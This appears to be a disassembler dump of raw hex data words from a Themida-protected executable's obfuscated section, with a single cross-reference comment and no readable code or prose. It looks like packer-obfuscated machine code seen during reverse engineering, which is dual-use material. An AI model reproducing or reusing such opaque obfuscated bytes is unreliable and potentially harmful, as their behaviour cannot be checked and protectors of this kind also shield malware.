dd 0E9000000h, 8, 0C7487FCFh, 0E4B8D3CFh, 8D89C18Bh, 60719C5h
dd 2035BD29h, 0E8C10607h, 860F6004h, 3, 8BCBB70Fh, 729259Dh
dd 0F7666106h, 199D8BE2h, 2B060700h, 9E9C8h, 12B10000h
dd 67DCC02h, 8BEF8683h, 725CDBDh, 0BBD18B06h, 347A9A06h
dd 6E9h, 0B5EF8100h, 8B537A60h, 732C185h, 61BD8B06h, 8306072Bh
dd 816607C0h, 83D4DFEFh, 9D8B00C0h, 60722F9h, 830FD03Bh
dd 0Eh, 11299D89h, 39E90607h, 80000000h, 8D8B85E3h, 60721A9h
dd 30198529h, 0E1830607h, 21840F01h, 66000000h, 0A583D98Bh
dd 60721A9h, 74D781FEh, 89115F2Eh, 732C195h, 0ED9D8B06h
dd 0E9060714h, 0
dd 0C417B58Dh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 0FC2741C3h, 2F999D29h, 0A9BB0607h
dd 8963BEE1h, 71E85B5h, 6A006A06h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0FF3AC356h
dd 6547C9Ah, 9E97FB4h, 5B000000h, 0A531400Dh, 0EEBB8CB9h
dd 1830Fh, 0FFF80000h, 70D6995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 9D03ECBEh
dd 6070F95h, 0B9FBB70Fh, 7CAh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0F5C35343h, 8B9EF62Dh, 712E19Dh
dd 0DB816606h, 0E1839FF5h, 53006AFCh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0C5503293h
dd 0D77B8AAEh, 94BB66FCh, 6AC02B40h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 5487C355h
dd 0A1BF66E3h, 8DDF80D7h, 0BAh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0ADCB3606h
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1FBCC356h
dd 92DC2B72h, 8B664D8Eh, 0FEB70FFBh, 880Dh, 0F59D2900h
dd 8B060728h, 71AD995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 6408A7F6h, 8BFE8AA8h
dd 7101D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 7409B1FDh, 6820Fh, 0B5890000h, 60712B1h
dd 61605260h, 0AD8D8B59h, 6106070Fh, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 6E85818h, 0AE000000h, 54FA3A4Eh
dd 799D8B94h, 5B06071Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 50C35545h, 8960BC6Dh, 7078D95h, 6D8D8906h
dd 61060710h, 0E29BD83h, 0F000607h, 3C84h, 0B800h, 0BD8B0000h
dd 60720DDh, 4B9B8D8Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 3BF1C4C3h, 7B1918ECh
dd 8BE1FF9Ch, 718F5BDh, 5BD8306h, 60733h, 454840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 5ED9C8C3h, 0BD8376B5h, 6073305h, 42840F01h, 6A000004h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 44A2C353h, 0AB789176h, 17820F30h, 0E8000000h
dd 0Eh, 3C0C56DDh, 0C5D26CFFh, 0DBED9E28h, 0CF80D3E5h
dd 0BD835BB3h, 6073305h, 0C0860F03h, 6A000003h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 7023C351h, 11E867D8h, 0B2000000h, 152623E1h, 0D2E35080h
dd 0D338DA82h, 9D5369F3h, 0C7BF605Fh, 8B1AAB77h, 70E6D9Dh
dd 0D98C6606h, 36D9501h, 0E1800607h, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 741C27A1h
dd 0B679795h, 0C1CF8166h, 0FC90A1Bh, 10284h, 99D8B00h
dd 8B06072Ah, 72A1D85h, 0FD853306h, 6A06071Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0F530C350h, 38009690h, 303A3C59h, 6690FB8Bh, 506DD3BFh
dd 8B90DF8Bh, 713F59Dh, 0FAD38006h, 8166006Ah, 68D36AE3h
dd 53AC963Eh, 0C1243481h, 6A53B395h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0B7B6C356h
dd 6E8D4h, 1C800000h, 5493E39Fh, 24CBF781h, 0FF5B5B93h
dd 709F995h, 0C9BD8B06h, 89060732h, 0AADDF85h, 0FE906h
dd 0DD6B0000h, 0A8A96FE0h, 1083AE4h, 1D511CF2h, 0C8B0F54h
dd 0F000000h, 68Ch, 0B4C78100h, 0E97E1244h, 1EEh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D1C35141h, 0E9604404h
dd 13h, 0BF8A0AD4h, 2904E432h, 0E9730916h, 0A483ACEDh
dd 8BFE15DCh, 0AADD785h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 840FFE66h, 6, 6E54CB81h
dd 0BD891C3Fh, 6070321h, 1800C7h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 8B00BFC3h
dd 11E9EA6Fh, 65000000h, 1E629A0Dh, 0C869A611h, 4491AAD0h
dd 0D5DE5B9Fh, 0ADDBB58Bh, 8166060Ah, 8BC13DEFh, 72BCD85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 70913EB1h, 8BEB9426h, 723759Dh, 5EBF6606h
dd 0B06897Ah, 710199Dh, 1D858B06h, 6006072Ah, 9E860h, 23700000h
dd 0E7EF8767h, 5ED67280h, 81615F51h, 625DD5CAh, 9D8B617Dh
dd 6072045h, 6A044689h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 4DAAC351h, 0FD888B2h
dd 79BB6674h, 8E996A9h, 0BA000000h, 627AB98Bh, 50B7DC3Eh
dd 509681B7h, 6860Fh, 840F0000h, 0
dd 0D7B5FF5Bh, 31060AADh, 70DE59Dh, 1D516806h, 481CB62h
dd 0BCE6AE24h, 56006A34h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 80BCDE50h, 2EF58D29h
dd 858D0607h, 60AADDFh, 57907FB7h, 0BEBB505Fh, 90561A4Eh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 97C35747h
dd 0FF117D39h, 709F995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 33611764h, 729D59Dh, 585C706h
dd 3060733h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 91E8C357h, 7B8CF9FAh
dd 3668441h, 71F85BDh, 0DFBD8306h, 60AADh, 41840Fh, 0EE80000h
dd 0EB000000h, 0E96E9B88h, 0B860D992h, 77D699EBh, 0F8B70FFAh
dd 40E95Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 0F4951BC3h, 141CC77Fh, 5094700Fh
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 0D19EC4C3h, 38437879h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0EFC35242h, 52338349h, 4096D0C4h
dd 5BD83A0h, 3060733h, 4B3850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D090DFC3h
dd 2C04F942h, 8BF9BF0Fh, 70F05BDh, 0DFBD8306h, 60AADh
dd 47B840Fh, 8D290000h, 607077Dh, 0ADDFB5FFh, 6A060Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 5740CC3h, 0BCBBCBC0h, 0FF789156h, 7212995h, 0EF816606h
dd 0B58B1D4Dh, 60AADD3h, 106C7FCh, 6A000100h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0DC86C355h, 0FA8CCFFh, 488h, 61605700h, 0E950965Bh
dd 11h, 0BC7D12DAh, 0C0BC9E29h, 83C08D18h, 0AFB4B618h
dd 0E8505B15h, 0Dh, 0E9A78D09h, 924586C9h, 0ED3E55BDh
dd 0DF8B667Bh, 8589965Bh, 607073Dh, 0ADDFB5FFh, 0FFF9060Ah
dd 7025195h, 159D8906h, 8B060705h, 0AADD3B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 3BD6B5BEh, 8B79B38Bh, 712A185h, 0CB815606h, 7B8BEDB9h
dd 0C486895Fh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 7193C356h, 89959FFEh
dd 708B585h, 0DE906h, 0F0060000h, 7207F37h, 4BC35280h
dd 8BDCD578h, 71AD995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 5EA4F5DCh, 8B8C159Ah
dd 723659Dh, 4C28306h, 0E19BD8Bh, 50890607h, 55006A20h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 3F4F01AFh, 70858D53h, 66060AC1h, 8166FE8Bh, 89B165EBh
dd 0B886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 8E9A8h, 51110000h, 0AE201038h, 0BB66B83Fh
dd 6AD9E3h, 5830Fh, 81660000h, 0FF758DF7h, 0AADDFB5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 12BBBB2Fh, 0BF0D88DEh, 6787BA18h, 79195FFh, 6A0607h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 2CE4DAC3h, 62E98160h, 293B6B42h, 706C9BDh, 0B3966106h
dd 8A0F501Ah, 0Ah, 0F5E5760h, 86h, 6A966100h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0FB0CC355h, 7D4656F7h, 1B5AE4C8h, 5E9h, 52B74600h, 0AE89020h
dd 0FF000000h, 20175F1Fh, 0AE37696Fh, 0B5FF5F64h, 60AADDFh
dd 1FB9BD8Bh, 95FF0607h, 6072D09h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 97C35040h, 0A083C8E2h, 0CBB5E5ADh
dd 0BD958960h, 0E8060714h, 0Bh, 0B46A6D1Eh, 3B69CB23h
dd 893714A4h, 712A59Dh, 83615A06h, 714C1BDh, 840F0006h
dd 72h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
dd 87C35646h, 722CE70Bh, 8F0F50EAh, 3, 89F88B66h, 6A2434h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 0F2B43C3h, 0F94A321h, 685h, 418D0900h, 0E906071Eh, 11h
dd 0BDCCC21Fh, 4750FBFh, 7FA7B398h, 0BDE01BD0h, 0B5FFFCEBh
dd 60AADDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0E8C35343h, 0B3982142h, 9595FFC2h, 6A06071Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0F10C356h, 689h, 61BD2B00h, 0FF06072Ch, 0AADDFB5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 80D78072h, 95FF45EFh, 60702C1h, 1B59BD03h, 0BD830607h
dd 6072865h, 54840F02h, 0F000000h, 183h, 858BF500h, 6070E69h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B4C35343h
dd 4A26063h, 0B576F0DFh, 639BD0Bh, 0C60607h, 14E800h, 9E740000h
dd 788CA801h, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0C75F30E6h
dd 72A5185h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0BD8B9098h, 60710FDh
dd 23CB8166h, 0F279E949h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 0DEEDB3C3h, 76958D37h
dd 8BF98B66h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0CE62566h, 8B15E12Ch, 708D5BDh, 0C1852906h
dd 0B06070Fh, 71A25BDh, 0B1858D06h, 60060718h, 4AD9D8Bh
dd 5E90607h, 31000000h, 91B38295h, 870F9061h, 2, 0B75095B3h
dd 6A9092h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0E73951C3h, 2C0F807Ah, 6840Fh, 0D7810000h
dd 3C439E56h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0CF15AFC3h, 0D8464BB1h, 10198589h
dd 6E90607h, 0E2000000h, 93166342h, 6A006AB9h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 96B9C356h, 118AFCEFh, 0BD8B79FAh, 607052Dh, 4F61858Dh
dd 8CB3060Bh, 0E805C083h, 0Dh, 0A15E2DADh, 0AE2E2EAEh
dd 4BC085DDh, 0D8B70F47h, 0BB66905Bh, 8B50D969h, 6A90D8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0C439DCC3h, 6AF552B1h, 12E800h, 0F3D40000h, 0C2DF4618h
dd 0ECCA480Ch, 3E2865B9h, 5CAB744Ah, 6198589h, 0BB5F0607h
dd 7745386Ah, 6A006Ah, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 265515C3h, 162C4B27h, 11E936h, 4CA10000h, 0DD10AB98h
dd 4F3B0AC7h, 0E1ED7CC9h, 0FFFAEF44h, 71E3D95h, 0EE906h
dd 0F3F40000h, 0F659D238h, 9B6F2262h, 0AFCA1D97h, 0E8B0Fh
dd 8B600000h, 70D0D9Dh, 95958906h, 61060729h, 93D58D8Dh
dd 0D1FF060Ah, 14E9h, 27028F00h, 6EEEC8E7h, 0CCB5EC86h
dd 27CF5B1Eh, 0EC42F5EAh, 0BDBD83F1h, 1060719h, 0B2850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 0F0AE0BC3h, 4897202Fh, 0DB1C58BBh, 0F5CDB313h
dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0B4969CC3h, 0A9C8284Fh, 90F9E203h, 29ABF60h
dd 50616931h, 0C13C08BFh, 6A9044h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 341821C3h, 95FFE04Eh
dd 6070791h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 20C35646h, 0CB3D0AF9h, 0FC6B373h, 382h, 0DA8B6600h
dd 0D1AE9h
db 0
byte_581725 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053CDD8o
dd 815D0000h, 0B4F6BEDh, 45BD3106h, 0E8060722h, 9, 56392E53h
dd 53E2F800h, 5BFB8B2Ch, 843F858Dh, 8D29060Ah, 60705D5h
dd 89FB8B50h, 0FF642404h, 35h, 1AE78100h, 640D5805h, 2589h
dd 12E90000h, 0F9000000h, 50667F4Dh, 70C19CE9h, 9ECC3576h
dd 0DF8B1069h, 5985FFB1h, 6A06072Fh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 7292C350h
dd 66FF6AC0h, 0B5FFFA8Bh, 60705D1h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 87C35747h, 0B99E9C70h, 9D0B1B97h
dd 6072145h, 286ABF57h, 0FF5B7AA2h, 72B8995h, 0F1E906h
dd 95890000h, 6072625h, 8E800B0h, 90000000h, 0D3738BA4h
dd 89DF939Ch, 70AA9BDh, 70E65B06h, 568CBB66h, 0BD8971E4h
dd 60722B9h, 830F613Ch, 0BFh, 0CCD5D381h, 0B60F68B8h, 0E9BF66C8h
dd 6BAE7h, 890F0000h, 3, 8BDEB70Fh, 0BDBD8BC1h, 6606071Ah
dd 0E8C1FB8Bh, 0BD236004h, 6072331h, 18E28166h, 0F76661F0h
dd 2DBD33E2h, 2B06072Bh, 2D9D8BC8h, 8B060729h, 498D29D1h
dd 0E9060715h, 0
dd 28C1858Bh, 9D330607h, 6071AD5h, 0F507C083h, 8100C083h
dd 8B655FEBh, 0FD03B4Fh, 0B83h, 0E19D8B00h, 0E906072Ah
dd 3Fh, 20618D8Bh, 0DF8B0607h, 0F01E183h, 2E84h, 0EE900h
dd 0DBB60000h, 0A10E7C14h, 0EE9A813Eh, 0C837B3A8h, 2061A583h
dd 0BFFE0607h, 2C9FF206h, 28C19589h, 0BB660607h, 0E90CDCh
dd 8D000000h, 0ACD7CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0F3EFD42h, 68Bh, 0FD8D8900h
dd 89060707h, 721C585h, 6A006A06h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5B0C352h
dd 0BD31A534h, 607263Dh, 0D6995FFh, 0BD8B0607h, 60722BDh
dd 0D6AB9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 6D3AB33Dh, 78A66ECEh, 5E960E6h, 8C000000h
dd 0AC2504E0h, 5CDDD381h, 8B616C55h, 72B35BDh, 0FCE18306h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 8C35141h
dd 0FCF5AEB1h, 6860Fh, 8D890000h, 60721D5h, 0B8h, 618D8900h
dd 2B060703h, 0ADDF8BD2h, 0E8D1C233h, 0E983D003h, 89F47504h
dd 71FC595h, 12E906h, 9D880000h, 6171CC56h, 0C13A4FD6h
dd 0BF7BF266h, 786099FDh, 880Dh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0FAD9DC88h
dd 64EC2771h, 0D9BF0F9Ch, 1AD9958Bh, 8D8B0607h, 607101Dh
dd 76F38166h, 0C28B50B2h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 6658188Bh, 717EEF81h, 6ADEBF0Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0CEB9C352h
dd 0E29BD83h, 0F000607h, 8F84h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0BC63F9Ch
dd 0ED4122B4h, 8D8903D4h, 60702EDh, 0B8h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0DFCAAD6Fh, 29B50966h, 8D060700h, 74B9B8Dh, 0E19D0106h
dd 8906070Bh, 71A299Dh, 8BE1FF06h, 721A5BDh, 85896006h
dd 607055Dh, 12E9h, 0F880AD00h, 0CA1F0462h, 0F6546C29h
dd 3325B537h, 610B70ECh, 3305BD83h, 0F000607h, 3F084h
dd 5BD8300h, 1060733h, 3FE840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 4C1A1CC3h
dd 8BB4662Bh, 5E8D8h, 0A0FF0000h, 0E96FDFC9h, 0Fh, 0C0AFB946h
dd 0C3EC74D5h, 0AC6A75FDh, 5F930976h, 3305BD83h, 0F030607h
dd 37986h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 6A60E8h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 4DC226C3h, 0E10BB9DAh
dd 8BD98C66h, 72659BDh, 4E18006h, 0E91BD8Bh, 0C90A0607h
dd 103840Fh, 88B70000h, 2A1D858Bh, 0CB810607h, 2C6C101Fh
dd 1AFD8533h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 7C4E18C3h, 8EEDA308h, 89E8D016h
dd 72E6D95h, 0B9609006h, 2184E99Eh, 0C88B6657h, 0E9506158h
dd 7, 4D264B51h, 90B6FEF6h, 5D8D8960h, 60060718h, 1601B866h
dd 6A6161h, 0A02D9768h, 0C6BF667Bh, 24348172h, 7BBF2E68h
dd 95FF5B52h, 60709F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 5AC35747h, 89C24AF4h, 0DF8589B1h, 6A060AADh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 0F1C6C350h, 14E9h, 5323BC00h, 0F59FDFFh
dd 0EB35DFEFh, 0C0761524h, 16F73B12h, 1C8E95Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0EB8B9CC3h, 0D7858BA2h, 6A060AADh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 99FC356h
dd 7287595h, 1800C706h, 89000000h, 712A595h, 0DBB58B06h
dd 0E9060AADh, 0Ah, 0A2B8076h, 267DACA7h, 858BE2DFh, 6072BCDh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BDC35747h
dd 54664B11h, 830F9830h, 3, 89DFBF0Fh, 0FD9D8B06h, 8B060719h
dd 72A1D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 66EFFDCDh, 755DF81h, 4689FBB7h, 51006A04h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 58353A2Bh, 14E883h, 0E94E0000h, 525EACB2h, 27121401h
dd 8E289577h, 0F686A82Bh, 8166D001h, 5BE0B1CBh, 0FE8B6650h
dd 9243489h, 701C5B5h, 0D7B5FF06h, 6A060AADh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 0EAE6C351h, 43CBEDCEh, 10ED8D89h, 0DB680607h, 0F4883E3h
dd 28Ch, 81FD8A00h, 0E0242434h, 0B589489Ch, 6071A31h, 0ADDF858Dh
dd 0D98B060Ah, 14E850FCh, 0DF000000h, 10595475h, 0C2C1FEDBh
dd 3110CF0Eh, 933AF115h, 5277075Dh, 850Fh, 5B5F0000h, 0E9240489h
dd 0Dh, 0EBF114DEh, 0AA096F40h, 222BB820h, 0F995FFDEh
dd 6A060709h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 42DEC352h, 6A61F807h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0AF58C353h, 0C28FDF29h, 281C1BDCh, 1F1DBD89h, 85C70607h
dd 6073305h, 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 33C35343h, 423A8694h, 83BAB94Bh, 0AADDFBDh, 840F0006h
dd 0Eh, 0C4DB589h, 0E9FC0607h, 1Dh, 3050F88Ah, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 6860F0Ch, 81000000h, 3FF9EFCBh, 5BD835Eh, 3060733h
dd 4A3850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 1E94EBC3h, 0F43CD313h, 89276B84h
dd 71B01BDh, 0BE806h, 6D9F0000h, 7EF19121h, 31990C49h
dd 0BD835F3Ch, 60AADDFh, 5A840F00h, 6A000004h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 21E3C356h, 0E2B44B2Fh, 92E38166h, 0DFB5FF96h, 66060AADh
dd 0FFA33BBBh, 7212995h, 0D3B58B06h, 81060AADh, 346689D7h
dd 0D8BF0F60h, 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 113A7FC3h, 96D0C50Ah
dd 0DE8h, 53B87800h, 883645A2h, 5239227Ch, 0E953BF22h
dd 0Fh, 3CFA52A1h, 8C1E172Dh, 1F41A496h, 5FB59DA1h, 14E9505Fh
dd 0F000000h, 360899D5h, 68D26195h, 4D1A3CCh, 0F27D6044h
dd 96722AE0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 49C35343h, 0F98B51A6h, 0ADDFB5FFh, 6A060Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0D195A6C3h, 1E61A9A6h, 0A63EBBD6h, 95FF5E6Bh, 6070251h
dd 0D3B58BF8h, 0E8060AADh, 12h, 85F3AFA2h, 0FBC4DB06h
dd 1C22710Fh, 18057CA1h, 880F6798h, 6, 1AB59D8Bh, 8B5B0607h
dd 712A185h, 0AE906h, 8DDB0000h, 867782F1h, 2148896Bh
dd 0C48689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 54BFDCC3h, 15358D29h, 60520607h
dd 890Fh, 9DB50000h, 958B5B61h, 6071AD9h, 0CABB6651h, 0C2835B7Ch
dd 0C800F04h, 0E9000000h, 7, 162904E4h, 89E97309h, 6A2050h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 8CEFE6C3h, 0DFDBD8Bh, 858D0607h, 60AC170h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C3C35747h, 8EA6DC7Fh
dd 8B58D89h, 85290607h, 60713FDh, 0B88689h, 0BD2B0000h
dd 6071A59h, 8F0F006Ah, 0
dd 0ADDFB5FFh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 8FD21EC3h, 3FEFEF1Fh, 81665133h
dd 5B8753C3h, 79195FFh, 0AE90607h, 0F3000000h, 98FD8CFBh
dd 0BB918B52h, 8B66967Dh, 0DE8B50DEh, 56006A96h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 26D2BFEAh, 0C3E38FE6h, 0ADDFB5FFh, 6A060Ah, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0E0FFA0C3h, 273A2D71h, 0FF7907EFh, 72D0995h, 63EB8106h
dd 832D3248h, 714C1BDh, 840F0006h, 55h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 17h, 2DC35141h, 66275666h
dd 0ACCACF81h, 7E950h, 0B4CF0000h, 3D2B9936h, 243489E2h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 21C35646h
dd 4ECC70Fh, 0DFB5FFF1h, 6A060AADh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FDDC355h
dd 0BF66FEB7h, 95FF1DDDh, 6071F95h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0B5C35646h, 5E8A3h, 9A7E0000h
dd 9E6B835h, 708F595h, 0B5FF5F06h, 60AADDFh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 85C35141h, 0C55F5DDBh
dd 18A5BD89h, 95FF0607h, 60702C1h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 0EAC35343h, 0C989CAFFh, 859D8B66h
dd 8306070Bh, 72865BDh, 840F0206h, 75h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BFC35646h, 0B25049CAh
dd 0D6CDEFADh, 0FCDBD89h, 89600607h, 71B6D95h, 0CE906h
dd 98900000h, 7217916Fh, 4B45593h, 8B6126F9h, 70E6985h
dd 91BD8906h, 0C606070Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 9E9AD1C3h, 8BF5DFAFh
dd 5185C7DFh, 6072Ah, 29000000h, 702B585h, 0F397E906h
dd 8589FFFFh, 60725B9h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0BB61BCC3h, 0FB8B66ADh
